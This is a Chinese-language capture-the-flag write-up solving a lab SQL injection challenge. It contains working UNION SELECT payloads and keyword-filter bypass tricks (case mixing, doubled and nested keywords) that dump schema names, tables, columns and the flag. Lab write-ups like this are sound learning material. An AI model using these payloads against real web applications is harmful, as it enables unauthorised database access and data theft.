简单的sql注入之一 (实验吧)

1.判断注入类型

1' or '1' = '1 结果如下

简单的sql注入之一 (实验吧)_第1张图片

测试几个简单的语句后, 1' order by 1 # , 1' select 1 #

根据报错信息 #  -- - order by select 等关键词都被过滤

关键词被过滤:解决方法如下

1大小写交替: Order SeLect 

2.双写  : OderOrder SelectSelect 

3.交叉: selecselectt  

注释符被过滤,解决方法如下:

1.用 '号闭合  ,如having , where

经过测试,发现可用双写绕过关键字过滤,但要注意双写后要加两空格

暴库语句如下:

1' union select schema_name from information_schema.schemata where '1' ='1

简单的sql注入之一 (实验吧)_第2张图片

 

查询数据表语句如下:

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schema='web1 

问题来了:这里报错了,错误如下

可以看到 (table_schema='web1) 等号前的table_chema被过滤了,按以上三种方法(双写,交叉,大小写)测试发现,交叉法可以绕过过滤;

新语句如下:

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schemtable_schemaa='web1

简单的sql注入之一 (实验吧)_第3张图片

发现flag,获取flag表的字段名

1' unionunion  selectselect  column_name  fromfrom  information_schema.columns wherewhere  table_name='flag

又有报错信息

比对后发现,from  infromation_schema.columns  被过滤了,老方法,用交叉写法可以绕过

还有 column_name也被过滤了:

1' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.columninformation_schema.columnss wherewhere  table_name='flag

简单的sql注入之一 (实验吧)_第4张图片

发现flag字段名,获取flag

1' unionunion  selectselect  flag fromfrom  flag wherewhere   '1' ='1

简单的sql注入之一 (实验吧)_第5张图片

 

你可能感兴趣的:(简单的sql注入之一 (实验吧))